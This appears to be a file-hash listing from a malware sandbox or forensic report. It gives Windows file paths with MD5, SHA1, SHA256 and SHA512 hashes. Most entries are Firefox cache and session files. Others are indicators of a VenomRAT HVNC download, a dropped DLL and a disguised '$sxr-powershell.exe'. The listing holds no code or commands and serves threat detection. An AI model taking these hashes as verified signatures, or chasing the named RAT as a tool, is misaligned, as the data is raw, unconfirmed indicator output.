SHA512 4b3ee12dcd9c48d39af25a547bf4e7eeaa0c4d63e282d84b2db401e9c8ec454fd8564c5857d0283924d4e6516d93fd8102a8448d1ffaa7b79dbd98d195e030fe

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\cache2\entries\D5710FF1EC180D9AAED3DF1BDDB64CF306F46FB7

MD5 f9691d9d191334e81fce3bbe0ef48647
SHA1 2ce6c4d94b3cd3c2072ecadebddd082b506b4470
SHA256 4a862175a5c69d1b929ef7e0dbade09fd7a761078ab7776b95fbbff2864c739e
SHA512 175a31d47cb3e2ec2bd24201455c4dc56477ffc94317fe9a68a55ca07a551752c1685aaa37b57a1a85e985f7ba71a19f6b82a19a6e3a060165192cae15b736e5

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\cache2\entries\31E215F18C9D984B5C6C14B0D8BE31DA8414525E

MD5 32af8e1d192eb725879c19c33555b6c5
SHA1 6fa232d938eefea0ddb3908260632222234a8f47
SHA256 6a319b14a5bb74b41637dd49fea7dafc4008d22cc1fb43f5c4e315393e9a0c67
SHA512 9c10f941d037d065f244b17c8f0f1be605869cfa2360cc8c6d40f7165a74d3b97f2035276073075b7cde525781b75a7fe2fdeb265288ed374b02de65118973e3

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\cache2\entries\E1170971F98F9A6432460F1D91FE08D6D7FECE9D

MD5 eae75f7d495a5ea65e228f99abe90c69
SHA1 86b68aee2fd707147eb6af9b583c4da98a432b5a
SHA256 0f4aa7c98e0707a7f611b47959a424f924d408087e83a71ae5e8624ce6665e6f
SHA512 8535e13da594776c328d964e41151e5ae153f3866682f4fcd47ef96cd275109693808eaea65458679a20b724ff4c64ba36de0419220d748c9c83cb867ffb86d1

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\cache2\entries\44318FBA759F47A56FB1C2107D8462073292CEA4

MD5 17241f54739207d3c46fc60be0ee9dd7
SHA1 14044ce9c4bc4482531150600c341e7c07fef620
SHA256 ded60db8d7f75b9c197c658b688ec5b272e774807ac06e993dbcd31f602cbdc2
SHA512 3c8d1a87a55535e981ea0ced135440dc4fde6d4e9f666af8ef26409794d82b4ae95b101cf17c5c05b0aff70908d9c1e1072cd5bcc69c63e8eb85e65c420ff939

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\cache2\entries\582F7802A1816DF4086DDE87236FEE8DF9EB28A6

MD5 3fd0e8f51173addccc4a1ae2baaafeb3
SHA1 510707ceb6075fc0fc40855670ffcf1450b7f6ca
SHA256 053785f3540a5b882d8661976007f48dd0584106e515acd422d6aca4f1238d57
SHA512 83e3e94901ffc2b4becef1420e03ac5887600cdd9488d861da0268139df6e2f3a81388c6ca42f500e912fce2b0f3f39bd2cb3f0c5f8d2c5b9237b2154727b7a4

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\cache2\entries\04F70031A9F16C9846C6699E3EF88B8D9EB6B552

MD5 3aebc15ca0e60842e26a302bda9cc5c2
SHA1 6f51ae040544246ec165d66129b27d13520b0fc8
SHA256 0b272d6937e71f6510f28d113afe7b3c258b6021c1ac03c869309d0362a4cde4
SHA512 5bb0ef363f3452aa9277e181f9836cf0135ba71e4dfa9cef689394d87a6db076c685d5217052749304a3155036621495b69fefa00c6f5d610ef549382f2272b4

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\cache2\entries\9777C6BE7F5E3763DD1C2A7D0D44ECC4E6C133E6

MD5 43fb3e0c1b4d7dfc16b167670e9f0001
SHA1 7cad76a831489c508d3d65e375fe4cdd93a2d6e8
SHA256 bf808939aed9b4b571aa965f9eb28171e4f30e4af7f2f9ce912ab100d4d95b6d
SHA512 013f3953e42881b324bd2c3541fec03a1f6da49a0a87cfa502edbfcba79b6c90a32d0fdb2aa2ceb25958070638ece9ce0cf8414238e422ad38ddc11883c87f59

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\cache2\entries\88A417BCE79E6D433BB14AC0022184FF3A9562DE

MD5 ae9393889d810c7a9d14ec83446d91b2
SHA1 255b32cd7edb006f70a381c425e21b75268f2f6a
SHA256 343c3dc1e61a77cc15ac1dad6d004b48f2857acbe3943436410c7155240cde3b
SHA512 1bd13a127348eb4d49a4a645fe3ed74d0f287666ea29c278586ab02e1c9fbcafaab806ca8d133fed97cd7df09deb28007354d727fbb15461f05ab0e0acc4c66b

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\xulstore.json.tmp

MD5 1995825c748914809df775643764920f
SHA1 55c55d77bb712d2d831996344f0a1b3e0b7ff98a
SHA256 87835b1bd7d0934f997ef51c977349809551d47e32c3c9224899359ae0fce776
SHA512 c311970610d836550a07feb47bd0774fd728130d0660cbada2d2d68f2fcfbe84e85404d7f5b8ab0f71a6c947561dcffa95df2782a712f4dcb7230ea8ba01c34c

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\sessionstore-backups\recovery.jsonlz4

MD5 34ec8bb10fe851637d3862d86f5b3d77
SHA1 f6c49632c23c6804d2e282deec6f2d61a4582ce2
SHA256 0a4eed2aed02cf5c19b2ef4fc299f4265652b6f04c5f4eaa27cb84683cef5ad7
SHA512 b691132e8a0f726bcca295e3dfe0d7a6fd475260fb72ed015fc2d891ddf8d74a8e7b3b5d4ebe8a16e9366530a32c7c9aea64791fbaea39f3bcc144a5c512ad77

C:\Users\Admin\Downloads\VenomRAT-V5.lR-T6asd.6-HVNC.rar.part

MD5 3359e400772b429af1a1c5b2f06ad301
SHA1 bdedb4c410ba58392feefcda17ec18c9ec5e45db
SHA256 b460cb71a7c6a0ef8f1f92dc52c237a41a783fa5d2925362eb0ab3db51420e71
SHA512 63f5c3a773dc4d3ff44aef6b318e1e23c3befecf3a1263f4f45c132c487dae8fe9f0a2512a3699ae70c8b602ca83e672be8b18b0f9be60693c600a70b08f2f4a

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\sessionstore-backups\recovery.jsonlz4

MD5 a61dd222ecef114e1853c2e657eca3cf
SHA1 4eddd812d56f329a57e6787f69ec0aa77053de8f
SHA256 085afd0e61d8aa70c7525326f228dc151d08ffa10511af1faffa40adbc424395
SHA512 199e53ac0cc5a3679933ae973308f2c4caea61384b5abb577057652e3a845871a43be080098e820a5c8029421071b4a9247961c4a12aac48e2fbb1834785fa09

C:\Users\Admin\AppData\Local\Temp\2e467f22-fd46-4a8b-b54a-a1ebefcab704\SiticoneDotNetRT64.dll

MD5 42b2c266e49a3acd346b91e3b0e638c0
SHA1 2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1
SHA256 adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29
SHA512 770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

C:\Windows\$sxr-powershell.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms

MD5 b90d73ea6f691fe6ccaa1629c3385944
SHA1 fc9401538941bcd39c06ed6d7aaa34ad15108055
SHA256 b5bcdb42a97c3a7c4c3cd54a2d8eb55f95edf89682d5964f12aec8b3068f1c65
SHA512 a258696985f9f8bb836141ef7a9f500827714c29f6267564c94181ae9aa678312b5868afe465327c0544b582dbb606ea97602e94916b6571b8869f81328fc4eb

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\sessionstore-backups\recovery.jsonlz4

MD5 45cb75d1c5636380e70836655699286d
SHA1 426c01623af2ae2aab5c148abdcd10b97551726c
SHA256 31d820370fdc3d59cdb914102d07924c67e04ebc03b7c8f569ca63587845894c
SHA512 a2e03db55f441b9b9ee9285b10fb6941a5d35b9fbc94a12eead65a6afebd7b3bd9889d08a6469d907f6ab111480dfe949a4486513fc7e1367983d76f1d304f49